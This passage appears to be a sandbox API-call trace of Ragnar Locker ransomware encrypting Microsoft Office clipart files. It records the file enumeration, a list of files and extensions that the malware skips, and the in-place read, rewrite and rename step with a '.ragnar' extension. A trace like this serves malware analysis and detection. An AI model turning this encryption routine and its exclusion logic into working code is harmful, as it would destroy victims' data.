lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ragnar_FD7BD9FC" [0087.010] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.010] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0087.010] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.010] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241019.WMF" | out: lpString1="J0241019.WMF") returned="J0241019.WMF" [0087.010] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF") returned=".WMF" [0087.010] lstrcmpiW (lpString1="J0241019.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.010] lstrcmpiW (lpString1="J0241019.WMF", lpString2="autorun.inf") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="boot.ini") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootfont.bin") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootsect.bak") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootmgr") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootmgr.efi") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="bootmgfw.efi") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="desktop.ini") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="iconcache.db") returned 1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ntldr") returned -1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ntuser.dat") returned -1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ntuser.dat.log") returned -1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="ntuser.ini") returned -1 [0087.011] lstrcmpiW (lpString1="J0241019.WMF", lpString2="thumbs.db") returned -1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.011] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf")) returned 0x20 [0087.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.012] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2350) returned 1 [0087.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x925, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.012] GetProcessHeap () returned 0x580000 [0087.012] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.012] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.014] VirtualAlloc (lpAddress=0x0, dwSize=0x92e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.014] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x92e, lpOverlapped=0x0) returned 1 [0087.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.014] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x92e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.014] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x92e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x92e, lpOverlapped=0x0) returned 1 [0087.014] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x92e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.014] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x92e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.015] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.015] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.015] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.015] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.015] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.015] GetProcessHeap () returned 0x580000 [0087.015] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.015] CloseHandle (hObject=0xf4) returned 1 [0087.015] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" [0087.015] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ragnar_FD7BD9FC" [0087.015] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0087.016] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.016] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241037.WMF" | out: lpString1="J0241037.WMF") returned="J0241037.WMF" [0087.016] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF") returned=".WMF" [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="autorun.inf") returned 1 [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="boot.ini") returned 1 [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootfont.bin") returned 1 [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootsect.bak") returned 1 [0087.016] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootmgr") returned 1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootmgr.efi") returned 1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootmgfw.efi") returned 1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="desktop.ini") returned 1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="iconcache.db") returned 1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ntldr") returned -1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ntuser.dat") returned -1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ntuser.dat.log") returned -1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ntuser.ini") returned -1 [0087.017] lstrcmpiW (lpString1="J0241037.WMF", lpString2="thumbs.db") returned -1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.017] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf")) returned 0x20 [0087.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.017] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2638) returned 1 [0087.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.017] GetProcessHeap () returned 0x580000 [0087.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.018] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.019] VirtualAlloc (lpAddress=0x0, dwSize=0xa4e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.019] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa4e, lpOverlapped=0x0) returned 1 [0087.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.019] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa4e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.019] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa4e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa4e, lpOverlapped=0x0) returned 1 [0087.019] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.019] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.020] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.020] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.020] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.020] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.020] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.020] GetProcessHeap () returned 0x580000 [0087.020] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.020] CloseHandle (hObject=0xf4) returned 1 [0087.020] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" [0087.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ragnar_FD7BD9FC" [0087.020] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.021] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0087.021] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.021] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0241041.WMF" | out: lpString1="J0241041.WMF") returned="J0241041.WMF" [0087.021] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF") returned=".WMF" [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="autorun.inf") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="boot.ini") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootfont.bin") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootsect.bak") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootmgr") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootmgr.efi") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootmgfw.efi") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="desktop.ini") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="iconcache.db") returned 1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ntldr") returned -1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ntuser.dat") returned -1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ntuser.dat.log") returned -1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ntuser.ini") returned -1 [0087.021] lstrcmpiW (lpString1="J0241041.WMF", lpString2="thumbs.db") returned -1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.021] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf")) returned 0x20 [0087.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.022] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2342) returned 1 [0087.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x91d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.022] GetProcessHeap () returned 0x580000 [0087.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.022] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.024] VirtualAlloc (lpAddress=0x0, dwSize=0x926, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.024] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x926, lpOverlapped=0x0) returned 1 [0087.024] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.024] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x926, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.024] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x926, lpOverlapped=0x0) returned 1 [0087.024] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x926, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.025] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x926, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.025] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.025] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.025] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.025] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.025] GetProcessHeap () returned 0x580000 [0087.025] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.025] CloseHandle (hObject=0xf4) returned 1 [0087.025] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" [0087.025] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ragnar_FD7BD9FC" [0087.025] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.026] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, 